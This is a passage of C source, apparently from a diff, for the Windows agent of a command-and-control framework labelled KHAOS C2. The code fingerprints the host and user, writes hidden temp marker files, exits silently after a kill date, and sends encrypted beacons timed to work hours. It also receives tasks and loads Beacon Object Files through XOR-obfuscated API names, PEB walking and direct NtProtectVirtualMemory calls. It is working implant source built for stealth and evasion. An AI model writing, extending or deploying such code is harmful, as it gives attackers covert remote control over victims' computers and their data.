strncpy(buf, "elevated", len - 1);
|
||||
else
|
||||
strncpy(buf, "user", len - 1);
|
||||
buf[len - 1] = '\0';
|
||||
CloseHandle(token);
|
||||
}
|
||||
|
||||
/* DJB2 hash for stable 8-hex agent ID */
|
||||
|
||||
static uint32_t djb2(const char *s)
|
||||
{
|
||||
uint32_t h = 5381;
|
||||
int c;
|
||||
while ((c = (unsigned char)*s++) != 0)
|
||||
h = ((h << 5) + h) ^ c;
|
||||
return h;
|
||||
}
|
||||
|
||||
void agent_gen_id(char *id_out)
|
||||
{
|
||||
char host[256], user[128];
|
||||
agent_get_hostname(host, sizeof(host));
|
||||
agent_get_username(user, sizeof(user));
|
||||
|
||||
BOOL elevated = FALSE;
|
||||
HANDLE tok;
|
||||
if (adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok)) {
|
||||
TOKEN_ELEVATION e; DWORD sz = sizeof(e);
|
||||
if (GetTokenInformation(tok, TokenElevation, &e, sz, &sz))
|
||||
elevated = e.TokenIsElevated;
|
||||
CloseHandle(tok);
|
||||
}
|
||||
|
||||
char combined[400];
|
||||
if (elevated)
|
||||
snprintf(combined, sizeof(combined), "%s|%s|%lu",
|
||||
host, user, (unsigned long)GetCurrentProcessId());
|
||||
else
|
||||
snprintf(combined, sizeof(combined), "%s|%s", host, user);
|
||||
|
||||
uint32_t h = djb2(combined);
|
||||
snprintf(id_out, AGENT_ID_LEN + 1, "%08x", h);
|
||||
}
|
||||
|
||||
static void _parent_tmp_path(char *out, size_t sz)
|
||||
{
|
||||
char tmp[MAX_PATH];
|
||||
GetTempPathA((DWORD)sizeof(tmp), tmp);
|
||||
char host[256], user[128];
|
||||
agent_get_hostname(host, sizeof(host));
|
||||
agent_get_username(user, sizeof(user));
|
||||
char combined[400];
|
||||
snprintf(combined, sizeof(combined), "%s|%s", host, user);
|
||||
uint32_t h = djb2(combined);
|
||||
snprintf(out, sz, "%s~DF%08X.tmp", tmp, h);
|
||||
}
|
||||
|
||||
void agent_write_parent_id(const char *id)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
_parent_tmp_path(path, sizeof(path));
|
||||
HANDLE f = CreateFileA(path, GENERIC_WRITE, 0, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
|
||||
if (f == INVALID_HANDLE_VALUE) return;
|
||||
DWORD wr = 0;
|
||||
WriteFile(f, id, (DWORD)strlen(id), &wr, NULL);
|
||||
CloseHandle(f);
|
||||
}
|
||||
|
||||
static void _gs_tmp_path(char *out, size_t sz)
|
||||
{
|
||||
char tmp[MAX_PATH];
|
||||
GetTempPathA((DWORD)sizeof(tmp), tmp);
|
||||
char host[256], user[128];
|
||||
agent_get_hostname(host, sizeof(host));
|
||||
agent_get_username(user, sizeof(user));
|
||||
char combined[400];
|
||||
snprintf(combined, sizeof(combined), "%s|%s", host, user);
|
||||
uint32_t h = djb2(combined);
|
||||
snprintf(out, sz, "%s~GS%08X.tmp", tmp, h);
|
||||
}
|
||||
|
||||
void agent_write_gs_flag(void)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
_gs_tmp_path(path, sizeof(path));
|
||||
HANDLE f = CreateFileA(path, GENERIC_WRITE, 0, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
|
||||
if (f != INVALID_HANDLE_VALUE) CloseHandle(f);
|
||||
}
|
||||
|
||||
int agent_read_gs_flag(void)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
_gs_tmp_path(path, sizeof(path));
|
||||
if (GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES) return 0;
|
||||
DeleteFileA(path);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int agent_gs_flag_exists(void)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
_gs_tmp_path(path, sizeof(path));
|
||||
return GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES;
|
||||
}
|
||||
|
||||
/* agent lifecycle */
|
||||
|
||||
int agent_init(agent_ctx_t *ctx)
|
||||
{
|
||||
memset(ctx, 0, sizeof(*ctx));
|
||||
|
||||
/* kill date check, exit silently if past configured timestamp */
|
||||
#if CFG_KILL_DATE_LEN > 1
|
||||
{
|
||||
char kd_str[24] = {0};
|
||||
_cfg_decode(CFG_KILL_DATE, CFG_KILL_DATE_LEN, kd_str);
|
||||
uint32_t kill_ts = (uint32_t)strtoul(kd_str, NULL, 10);
|
||||
if (kill_ts > 0 && (uint32_t)time(NULL) > kill_ts)
|
||||
ExitProcess(0);
|
||||
}
|
||||
#endif
|
||||
|
||||
agent_gen_id(ctx->agent_id);
|
||||
|
||||
ctx->parent_id[0] = '\0';
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
_parent_tmp_path(path, sizeof(path));
|
||||
HANDLE f = CreateFileA(path, GENERIC_READ, 0, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);
|
||||
if (f != INVALID_HANDLE_VALUE) {
|
||||
DWORD rd = 0;
|
||||
ReadFile(f, ctx->parent_id, AGENT_ID_LEN, &rd, NULL);
|
||||
ctx->parent_id[AGENT_ID_LEN] = '\0';
|
||||
CloseHandle(f);
|
||||
DeleteFileA(path);
|
||||
}
|
||||
}
|
||||
|
||||
agent_get_hostname(ctx->hostname, sizeof(ctx->hostname));
|
||||
agent_get_username(ctx->username, sizeof(ctx->username));
|
||||
agent_get_os(ctx->os_info, sizeof(ctx->os_info));
|
||||
agent_get_privileges(ctx->privileges, sizeof(ctx->privileges));
|
||||
|
||||
ctx->pending_output = calloc(1, OUTPUT_BUF_SIZE);
|
||||
if (!ctx->pending_output)
|
||||
return -1;
|
||||
|
||||
if (crypto_init(&ctx->crypto) != 0)
|
||||
{
|
||||
free(ctx->pending_output);
|
||||
ctx->pending_output = NULL;
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* generate ECDH keypair for the handshake */
|
||||
if (crypto_gen_keypair(ctx->crypto.agent_pubkey,
|
||||
ctx->crypto.agent_privkey) != 0)
|
||||
{
|
||||
crypto_free(&ctx->crypto);
|
||||
free(ctx->pending_output);
|
||||
ctx->pending_output = NULL;
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void agent_free(agent_ctx_t *ctx)
|
||||
{
|
||||
crypto_free(&ctx->crypto);
|
||||
free(ctx->pending_output);
|
||||
memset(ctx, 0, sizeof(*ctx));
|
||||
}
|
||||
|
||||
/* output buffer */
|
||||
|
||||
void beacon_append_output(agent_ctx_t *ctx, const char *data, size_t len)
|
||||
{
|
||||
if (ctx->output_len >= OUTPUT_BUF_SIZE - 1)
|
||||
return;
|
||||
size_t avail = OUTPUT_BUF_SIZE - ctx->output_len - 1;
|
||||
if (len > avail)
|
||||
len = avail;
|
||||
memcpy(ctx->pending_output + ctx->output_len, data, len);
|
||||
ctx->output_len += len;
|
||||
ctx->pending_output[ctx->output_len] = '\0';
|
||||
}
|
||||
|
||||
void beacon_clear_output(agent_ctx_t *ctx)
|
||||
{
|
||||
memset(ctx->pending_output, 0, ctx->output_len + 1);
|
||||
ctx->output_len = 0;
|
||||
}
|
||||
|
||||
/* JSON helpers */
|
||||
|
||||
/* escape a string for JSON, returns malloc'd buffer */
|
||||
static char *json_escape(const char *s)
|
||||
{
|
||||
size_t in_len = strlen(s);
|
||||
/* worst case: each char → \uXXXX = 6 bytes */
|
||||
char *out = malloc(in_len * 6 + 3);
|
||||
if (!out)
|
||||
return NULL;
|
||||
char *p = out;
|
||||
while (*s)
|
||||
{
|
||||
switch (*s)
|
||||
{
|
||||
case '"':
|
||||
*p++ = '\\';
|
||||
*p++ = '"';
|
||||
break;
|
||||
case '\\':
|
||||
*p++ = '\\';
|
||||
*p++ = '\\';
|
||||
break;
|
||||
case '\n':
|
||||
*p++ = '\\';
|
||||
*p++ = 'n';
|
||||
break;
|
||||
case '\r':
|
||||
*p++ = '\\';
|
||||
*p++ = 'r';
|
||||
break;
|
||||
case '\t':
|
||||
*p++ = '\\';
|
||||
*p++ = 't';
|
||||
break;
|
||||
default:
|
||||
if ((unsigned char)*s < 0x20 || (unsigned char)*s >= 0x80)
|
||||
{
|
||||
/* escape control chars and non-ASCII as \u00xx */
|
||||
int _n = snprintf(p, 7, "\\u%04x", (unsigned char)*s);
|
||||
if (_n > 0)
|
||||
p += _n;
|
||||
}
|
||||
else
|
||||
{
|
||||
*p++ = *s;
|
||||
}
|
||||
}
|
||||
s++;
|
||||
}
|
||||
*p = '\0';
|
||||
return out;
|
||||
}
|
||||
|
||||
/* packet builders */
|
||||
|
||||
/* plaintext handshake packet, base64-encoded for transport */
|
||||
char *beacon_build_handshake(agent_ctx_t *ctx)
|
||||
{
|
||||
char *pubkey_b64 = base64_encode(ctx->crypto.agent_pubkey, X25519_KEY_SIZE);
|
||||
if (!pubkey_b64)
|
||||
return NULL;
|
||||
|
||||
size_t needed = 128 + strlen(pubkey_b64);
|
||||
char *pkt = malloc(needed);
|
||||
if (!pkt)
|
||||
{
|
||||
free(pubkey_b64);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
snprintf(pkt, needed,
|
||||
"{\"t\":\"h\",\"id\":\"%s\",\"pk\":\"%s\"}",
|
||||
ctx->agent_id, pubkey_b64);
|
||||
|
||||
free(pubkey_b64);
|
||||
|
||||
/* base64-encode for transport */
|
||||
char *b64 = base64_encode((const uint8_t *)pkt, strlen(pkt));
|
||||
free(pkt);
|
||||
return b64;
|
||||
}
|
||||
|
||||
/* build encrypted beacon: JSON → seal → base64 */
|
||||
char *beacon_build(agent_ctx_t *ctx)
|
||||
{
|
||||
char *out_esc = json_escape(ctx->pending_output);
|
||||
if (!out_esc)
|
||||
return NULL;
|
||||
|
||||
/* build JSON */
|
||||
size_t json_sz = 512 + strlen(out_esc) + strlen(ctx->hostname) + strlen(ctx->username) + strlen(ctx->os_info) + 32;
|
||||
char *json = malloc(json_sz);
|
||||
if (!json)
|
||||
{
|
||||
free(out_esc);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
snprintf(json, json_sz,
|
||||
"{\"t\":\"s\","
|
||||
"\"id\":\"%s\","
|
||||
"\"hn\":\"%s\","
|
||||
"\"un\":\"%s\","
|
||||
"\"os\":\"%s\","
|
||||
"\"pr\":\"%s\","
|
||||
"\"lt\":\"%s\","
|
||||
"\"pid\":\"%s\","
|
||||
"\"po\":\"%s\"}",
|
||||
ctx->agent_id,
|
||||
ctx->hostname,
|
||||
ctx->username,
|
||||
ctx->os_info,
|
||||
ctx->privileges,
|
||||
ctx->last_task_id,
|
||||
ctx->parent_id,
|
||||
out_esc);
|
||||
free(out_esc);
|
||||
|
||||
/* encrypt */
|
||||
size_t sealed_len = 0;
|
||||
uint8_t *sealed = crypto_seal(&ctx->crypto,
|
||||
(const uint8_t *)json, strlen(json),
|
||||
&sealed_len);
|
||||
free(json);
|
||||
if (!sealed)
|
||||
return NULL;
|
||||
|
||||
/* base64 for transport */
|
||||
char *b64 = base64_encode(sealed, sealed_len);
|
||||
free(sealed);
|
||||
return b64;
|
||||
}
|
||||
|
||||
/* response parser */
|
||||
|
||||
/* extract string value from flat JSON */
|
||||
static int json_get_str(const char *json, const char *key,
|
||||
char *out, size_t out_sz)
|
||||
{
|
||||
char search[128];
|
||||
snprintf(search, sizeof(search), "\"%s\":", key);
|
||||
const char *p = strstr(json, search);
|
||||
if (!p)
|
||||
return -1;
|
||||
p += strlen(search);
|
||||
while (*p == ' ')
|
||||
p++;
|
||||
if (*p != '"')
|
||||
return -1;
|
||||
p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != '"' && i < out_sz - 1)
|
||||
{
|
||||
if (*p == '\\' && *(p + 1))
|
||||
{
|
||||
p++;
|
||||
}
|
||||
out[i++] = *p++;
|
||||
}
|
||||
out[i] = '\0';
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* same as json_get_str but heap-allocates output, caller frees */
|
||||
static int json_get_str_alloc(const char *json, const char *key, char **out)
|
||||
{
|
||||
char search[128];
|
||||
snprintf(search, sizeof(search), "\"%s\":", key);
|
||||
const char *p = strstr(json, search);
|
||||
if (!p)
|
||||
return -1;
|
||||
p += strlen(search);
|
||||
while (*p == ' ')
|
||||
p++;
|
||||
if (*p != '"')
|
||||
return -1;
|
||||
p++;
|
||||
/* measure length */
|
||||
const char *start = p;
|
||||
size_t len = 0;
|
||||
while (*p && *p != '"')
|
||||
{
|
||||
if (*p == '\\' && *(p + 1))
|
||||
p++;
|
||||
p++;
|
||||
len++;
|
||||
}
|
||||
*out = (char *)malloc(len + 1);
|
||||
if (!*out)
|
||||
return -1;
|
||||
/* copy */
|
||||
p = start;
|
||||
size_t i = 0;
|
||||
while (*p && *p != '"')
|
||||
{
|
||||
if (*p == '\\' && *(p + 1))
|
||||
p++;
|
||||
(*out)[i++] = *p++;
|
||||
}
|
||||
(*out)[i] = '\0';
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* parse inbound base64 packet, handles handshake and encrypted task */
|
||||
int beacon_parse_response(agent_ctx_t *ctx, const char *raw_b64,
|
||||
char *cmd_out, size_t cmd_sz,
|
||||
char *args_out, size_t args_sz,
|
||||
char *task_id_out, size_t task_id_sz,
|
||||
char **data_out)
|
||||
{
|
||||
if (!raw_b64 || raw_b64[0] == '\0')
|
||||
return -1;
|
||||
|
||||
/* base64-decode the packet */
|
||||
size_t decoded_len = 0;
|
||||
uint8_t *decoded = base64_decode(raw_b64, &decoded_len);
|
||||
if (!decoded)
|
||||
return -1;
|
||||
|
||||
char *json = NULL;
|
||||
|
||||
if (!ctx->handshake_done)
|
||||
{
|
||||
/* plaintext handshake response */
|
||||
json = (char *)decoded;
|
||||
char type_buf[32] = {0};
|
||||
json_get_str(json, "t", type_buf, sizeof(type_buf));
|
||||
|
||||
if (strcmp(type_buf, "hr") == 0)
|
||||
{
|
||||
char spub_b64[64] = {0};
|
||||
if (json_get_str(json, "spk", spub_b64, sizeof(spub_b64)) == 0)
|
||||
{
|
||||
size_t spub_len = 0;
|
||||
uint8_t *spub = base64_decode(spub_b64, &spub_len);
|
||||
if (spub && spub_len == X25519_KEY_SIZE)
|
||||
{
|
||||
if (crypto_do_handshake(&ctx->crypto, spub) == 0)
|
||||
ctx->handshake_done = 1;
|
||||
}
|
||||
free(spub);
|
||||
}
|
||||
}
|
||||
free(decoded);
|
||||
return ctx->handshake_done ? 0 : -1;
|
||||
}
|
||||
|
||||
/* encrypted task packet */
|
||||
size_t pt_len = 0;
|
||||
uint8_t *pt = crypto_open(&ctx->crypto, decoded, decoded_len, &pt_len);
|
||||
free(decoded);
|
||||
if (!pt)
|
||||
return -1;
|
||||
|
||||
json = (char *)pt;
|
||||
|
||||
char type_buf[32] = {0};
|
||||
json_get_str(json, "t", type_buf, sizeof(type_buf));
|
||||
|
||||
int ret = -1;
|
||||
if (strcmp(type_buf, "t") == 0)
|
||||
{
|
||||
json_get_str(json, "tid", task_id_out, task_id_sz);
|
||||
json_get_str(json, "c", cmd_out, cmd_sz);
|
||||
json_get_str(json, "a", args_out, args_sz);
|
||||
if (data_out)
|
||||
json_get_str_alloc(json, "d", data_out);
|
||||
ret = 0;
|
||||
}
|
||||
else if (strcmp(type_buf, "n") == 0)
|
||||
{
|
||||
cmd_out[0] = '\0';
|
||||
ret = 0;
|
||||
}
|
||||
|
||||
free(pt);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* beacon sleep with jitter and work-hours gating */
|
||||
|
||||
void beacon_sleep(void)
|
||||
{
|
||||
#if JITTER_PCT == 0
|
||||
beacon_sleep_obf(BEACON_INTERVAL);
|
||||
#else
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
|
||||
BOOL off_hours = (st.wHour < 8 || st.wHour >= 20);
|
||||
BOOL weekend = (st.wDayOfWeek == 0 || st.wDayOfWeek == 6);
|
||||
|
||||
if (off_hours || weekend)
|
||||
{
|
||||
beacon_sleep_obf(BEACON_INTERVAL * 2);
|
||||
return;
|
||||
}
|
||||
|
||||
/* BCryptGenRandom: cryptographic distribution, avoids predictable rand() */
|
||||
uint32_t rnd = 0;
|
||||
BCryptGenRandom(NULL, (BYTE *)&rnd, sizeof(rnd), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
double jitter_range = BEACON_INTERVAL * (JITTER_PCT / 100.0);
|
||||
double offset = jitter_range * (((double)(rnd & 0xFFFF) / 0xFFFF) * 2.0 - 1.0);
|
||||
beacon_sleep_obf((DWORD)(BEACON_INTERVAL + (long)offset));
|
||||
#endif
|
||||
}
|
||||
@@ -0,0 +1,665 @@
|
||||
/*
|
||||
* Copyright (c) 2026
|
||||
* KHAOS C2 - khaos.khaotic.fr
|
||||
*
|
||||
*/
|
||||
|
||||
#include "bof.h"
|
||||
#include "commands.h"
|
||||
#include "crypto.h"
|
||||
#include "adv_lazy.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include <windows.h>
|
||||
#include <excpt.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
#ifndef NTSTATUS
|
||||
typedef LONG NTSTATUS;
|
||||
#endif
|
||||
|
||||
/* NtProtectVirtualMemory wrapper */
|
||||
typedef NTSTATUS(NTAPI *_bNtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
static BOOL _vp(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
|
||||
{
|
||||
static _bNtPVM_t fn = NULL;
|
||||
if (!fn)
|
||||
{
|
||||
char fs[24], ns[12];
|
||||
volatile unsigned char k = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_NtProtectVirtualMemory); i++)
|
||||
fs[i] = (char)(EVS_fn_NtProtectVirtualMemory[i] ^ k);
|
||||
fs[sizeof(EVS_fn_NtProtectVirtualMemory)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++)
|
||||
ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
|
||||
ns[sizeof(EVS_dll_ntdll)] = '\0';
|
||||
HMODULE m = _peb_module(ns);
|
||||
SecureZeroMemory(ns, sizeof(ns));
|
||||
if (m)
|
||||
fn = (_bNtPVM_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
if (!fn)
|
||||
return FALSE;
|
||||
PVOID base = addr;
|
||||
SIZE_T rsz = sz;
|
||||
ULONG _old = 0;
|
||||
NTSTATUS st = fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
|
||||
if (old)
|
||||
*old = (DWORD)_old;
|
||||
return st == 0;
|
||||
}
|
||||
|
||||
/* COFF structures */
|
||||
#pragma pack(push, 1)
|
||||
typedef struct
|
||||
{
|
||||
WORD Machine;
|
||||
WORD NumberOfSections;
|
||||
DWORD TimeDateStamp;
|
||||
DWORD PointerToSymbolTable;
|
||||
DWORD NumberOfSymbols;
|
||||
WORD SizeOfOptionalHeader;
|
||||
WORD Characteristics;
|
||||
} coff_hdr_t;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
char Name[8];
|
||||
DWORD VirtualSize;
|
||||
DWORD VirtualAddress;
|
||||
DWORD SizeOfRawData;
|
||||
DWORD PointerToRawData;
|
||||
DWORD PointerToRelocations;
|
||||
DWORD PointerToLineNumbers;
|
||||
WORD NumberOfRelocations;
|
||||
WORD NumberOfLineNumbers;
|
||||
DWORD Characteristics;
|
||||
} coff_sec_t;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD VirtualAddress;
|
||||
DWORD SymbolTableIndex;
|
||||
WORD Type;
|
||||
} coff_reloc_t;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
union
|
||||
{
|
||||
char Short[8];
|
||||
struct
|
||||
{
|
||||
DWORD Zeros;
|
||||
DWORD Offset;
|
||||
} Long;
|
||||
} Name;
|
||||
DWORD Value;
|
||||
SHORT SectionNumber;
|
||||
WORD Type;
|
||||
BYTE StorageClass;
|
||||
BYTE NumberOfAuxSymbols;
|
||||
} coff_sym_t;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||||
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
|
||||
#define IMAGE_SCN_CNT_UNINIT_DATA 0x00000080
|
||||
#define IMAGE_REL_AMD64_ADDR64 0x0001
|
||||
#define IMAGE_REL_AMD64_ADDR32 0x0002
|
||||
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
|
||||
#define IMAGE_REL_AMD64_REL32 0x0004
|
||||
#define IMAGE_REL_AMD64_REL32_1 0x0005
|
||||
#define IMAGE_REL_AMD64_REL32_2 0x0006
|
||||
#define IMAGE_REL_AMD64_REL32_3 0x0007
|
||||
#define IMAGE_REL_AMD64_REL32_4 0x0008
|
||||
#define IMAGE_REL_AMD64_REL32_5 0x0009
|
||||
|
||||
typedef struct
|
||||
{
|
||||
char *orig;
|
||||
char *buf;
|
||||
int len;
|
||||
int sz;
|
||||
} datap;
|
||||
|
||||
static char *g_out = NULL;
|
||||
static size_t g_out_sz = 0;
|
||||
static size_t g_out_off = 0;
|
||||
|
||||
static void _append(const char *s, size_t n)
|
||||
{
|
||||
if (!g_out)
|
||||
return;
|
||||
size_t av = g_out_sz - g_out_off - 1;
|
||||
if (n > av)
|
||||
n = av;
|
||||
memcpy(g_out + g_out_off, s, n);
|
||||
g_out_off += n;
|
||||
g_out[g_out_off] = '\0';
|
||||
}
|
||||
|
||||
static void __cdecl _bp_printf(int t, const char *fmt, ...)
|
||||
{
|
||||
(void)t;
|
||||
char tmp[8192];
|
||||
va_list va;
|
||||
va_start(va, fmt);
|
||||
int n = vsnprintf(tmp, sizeof(tmp) - 1, fmt, va);
|
||||
va_end(va);
|
||||
if (n > 0)
|
||||
_append(tmp, (size_t)n);
|
||||
}
|
||||
|
||||
static void __cdecl _bp_output(int t, const char *data, int len)
|
||||
{
|
||||
(void)t;
|
||||
if (len > 0)
|
||||
_append(data, (size_t)len);
|
||||
}
|
||||
|
||||
static int __cdecl _bp_is_admin(void)
|
||||
{
|
||||
HANDLE tok;
|
||||
TOKEN_ELEVATION e = {0};
|
||||
DWORD rl;
|
||||
if (!adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok))
|
||||
return 0;
|
||||
GetTokenInformation(tok, TokenElevation, &e, sizeof(e), &rl);
|
||||
CloseHandle(tok);
|
||||
return (int)e.TokenIsElevated;
|
||||
}
|
||||
|
||||
static void __cdecl _bp_data_parse(datap *p, char *buf, int sz)
|
||||
{
|
||||
if (p)
|
||||
{
|
||||
p->orig = buf;
|
||||
p->buf = buf;
|
||||
p->len = sz;
|
||||
p->sz = sz;
|
||||
}
|
||||
}
|
||||
|
||||
static char *__cdecl _bp_data_extract(datap *p, int *out_len)
|
||||
{
|
||||
if (!p || p->len < 4)
|
||||
return NULL;
|
||||
int n = *(int *)p->buf;
|
||||
p->buf += 4;
|
||||
p->len -= 4;
|
||||
if (n > p->len)
|
||||
n = p->len;
|
||||
char *r = p->buf;
|
||||
p->buf += n;
|
||||
p->len -= n;
|
||||
if (out_len)
|
||||
*out_len = n;
|
||||
return r;
|
||||
}
|
||||
|
||||
static int __cdecl _bp_data_int(datap *p)
|
||||
{
|
||||
if (!p || p->len < 4)
|
||||
return 0;
|
||||
int v = *(int *)p->buf;
|
||||
p->buf += 4;
|
||||
p->len -= 4;
|
||||
return v;
|
||||
}
|
||||
static short __cdecl _bp_data_short(datap *p)
|
||||
{
|
||||
if (!p || p->len < 2)
|
||||
return 0;
|
||||
short v = *(short *)p->buf;
|
||||
p->buf += 2;
|
||||
p->len -= 2;
|
||||
return v;
|
||||
}
|
||||
static int __cdecl _bp_data_len(datap *p) { return p ? p->len : 0; }
|
||||
|
||||
typedef struct
|
||||
{
|
||||
const unsigned char *enc;
|
||||
size_t n;
|
||||
void *ptr;
|
||||
} api_entry_t;
|
||||
|
||||
static const api_entry_t k_api[] = {
|
||||
{EVS_str_BeaconPrintf, sizeof(EVS_str_BeaconPrintf), (void *)_bp_printf},
|
||||
{EVS_str_BeaconOutput, sizeof(EVS_str_BeaconOutput), (void *)_bp_output},
|
||||
{EVS_str_BeaconIsAdmin, sizeof(EVS_str_BeaconIsAdmin), (void *)_bp_is_admin},
|
||||
{EVS_str_BeaconDataParse, sizeof(EVS_str_BeaconDataParse), (void *)_bp_data_parse},
|
||||
{EVS_str_BeaconDataExtract, sizeof(EVS_str_BeaconDataExtract), (void *)_bp_data_extract},
|
||||
{EVS_str_BeaconDataInt, sizeof(EVS_str_BeaconDataInt), (void *)_bp_data_int},
|
||||
{EVS_str_BeaconDataShort, sizeof(EVS_str_BeaconDataShort), (void *)_bp_data_short},
|
||||
{EVS_str_BeaconDataLength, sizeof(EVS_str_BeaconDataLength), (void *)_bp_data_len},
|
||||
{NULL, 0, NULL}};
|
||||
|
||||
static void _sym_name(const coff_sym_t *sym, const char *strtab, char *out, size_t outsz)
|
||||
{
|
||||
if (sym->Name.Long.Zeros == 0)
|
||||
strncpy(out, strtab + sym->Name.Long.Offset, outsz - 1);
|
||||
else
|
||||
{
|
||||
size_t n = strnlen(sym->Name.Short, 8);
|
||||
if (n >= outsz)
|
||||
n = outsz - 1;
|
||||
memcpy(out, sym->Name.Short, n);
|
||||
out[n] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
static void *_resolve_win32(const char *fn, const char *dll_hint)
|
||||
{
|
||||
for (int i = 0; k_api[i].enc; i++)
|
||||
{
|
||||
char name[20];
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
for (size_t j = 0; j < k_api[i].n; j++)
|
||||
name[j] = (char)(k_api[i].enc[j] ^ _k);
|
||||
name[k_api[i].n] = '\0';
|
||||
int match = (strcmp(fn, name) == 0);
|
||||
SecureZeroMemory(name, sizeof(name));
|
||||
if (match)
|
||||
return k_api[i].ptr;
|
||||
}
|
||||
|
||||
HMODULE hm = NULL;
|
||||
if (dll_hint && dll_hint[0])
|
||||
{
|
||||
hm = _peb_module(dll_hint);
|
||||
if (!hm)
|
||||
hm = LoadLibraryA(dll_hint);
|
||||
}
|
||||
else
|
||||
{
|
||||
static const char *tries[] = {
|
||||
"kernel32.dll", "ntdll.dll", "advapi32.dll",
|
||||
"user32.dll", "ws2_32.dll", "ole32.dll", "shell32.dll", NULL};
|
||||
for (int i = 0; tries[i]; i++)
|
||||
{
|
||||
hm = _peb_module(tries[i]);
|
||||
if (hm && GetProcAddress(hm, fn))
|
||||
break;
|
||||
hm = NULL;
|
||||
}
|
||||
}
|
||||
return hm ? (void *)GetProcAddress(hm, fn) : NULL;
|
||||
}
|
||||
|
||||
static int _parse_sym(const char *name, char *dll, size_t dll_sz,
|
||||
char *fn, size_t fn_sz)
|
||||
{
|
||||
int is_imp = (strncmp(name, "__imp_", 6) == 0);
|
||||
const char *p = is_imp ? name + 6 : name;
|
||||
|
||||
/* check for Beacon* prefix */
|
||||
{
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
if (strlen(p) >= sizeof(EVS_str_Beacon) &&
|
||||
(unsigned char)p[0] == (unsigned char)(EVS_str_Beacon[0] ^ _k) &&
|
||||
(unsigned char)p[1] == (unsigned char)(EVS_str_Beacon[1] ^ _k) &&
|
||||
(unsigned char)p[2] == (unsigned char)(EVS_str_Beacon[2] ^ _k) &&
|
||||
(unsigned char)p[3] == (unsigned char)(EVS_str_Beacon[3] ^ _k) &&
|
||||
(unsigned char)p[4] == (unsigned char)(EVS_str_Beacon[4] ^ _k) &&
|
||||
(unsigned char)p[5] == (unsigned char)(EVS_str_Beacon[5] ^ _k))
|
||||
{
|
||||
strncpy(fn, p, fn_sz - 1);
|
||||
dll[0] = '\0';
|
||||
return is_imp;
|
||||
}
|
||||
}
|
||||
|
||||
const char *d = strchr(p, '$');
|
||||
if (d)
|
||||
{
|
||||
size_t dl = (size_t)(d - p);
|
||||
if (dl >= dll_sz - 5)
|
||||
dl = dll_sz - 6;
|
||||
memcpy(dll, p, dl);
|
||||
dll[dl] = '\0';
|
||||
/* lowercase and append .dll if missing */
|
||||
for (size_t i = 0; i < dl; i++)
|
||||
dll[i] = (char)tolower((unsigned char)dll[i]);
|
||||
if (!strstr(dll, "."))
|
||||
strncat(dll, ".dll", dll_sz - strlen(dll) - 1);
|
||||
strncpy(fn, d + 1, fn_sz - 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
dll[0] = '\0';
|
||||
strncpy(fn, p, fn_sz - 1);
|
||||
}
|
||||
return is_imp;
|
||||
}
|
||||
|
||||
#define THUNK_PTR_SZ 8 /* function pointer */
|
||||
#define THUNK_JMP_SZ 14 /* FF 25 00 00 00 00 + 8-byte addr */
|
||||
|
||||
typedef struct
|
||||
{
|
||||
BYTE *ptr; /* RW: 8-byte fn pointer */
|
||||
BYTE *jmp; /* RX: 14-byte jmp trampoline */
|
||||
} thunk_pair_t;
|
||||
|
||||
static BYTE *g_thunk_block = NULL;
|
||||
static DWORD g_thunk_count = 0;
|
||||
|
||||
static int _build_thunks(const coff_hdr_t *hdr, const coff_sym_t *symtab,
|
||||
const char *strtab, thunk_pair_t *pairs)
|
||||
{
|
||||
DWORD ext = 0;
|
||||
for (DWORD si = 0; si < hdr->NumberOfSymbols;
|
||||
si += 1 + symtab[si].NumberOfAuxSymbols)
|
||||
{
|
||||
const coff_sym_t *sym = symtab + si;
|
||||
if (sym->SectionNumber == 0 && sym->StorageClass == 2)
|
||||
ext++;
|
||||
}
|
||||
if (!ext)
|
||||
return 1;
|
||||
g_thunk_count = ext;
|
||||
|
||||
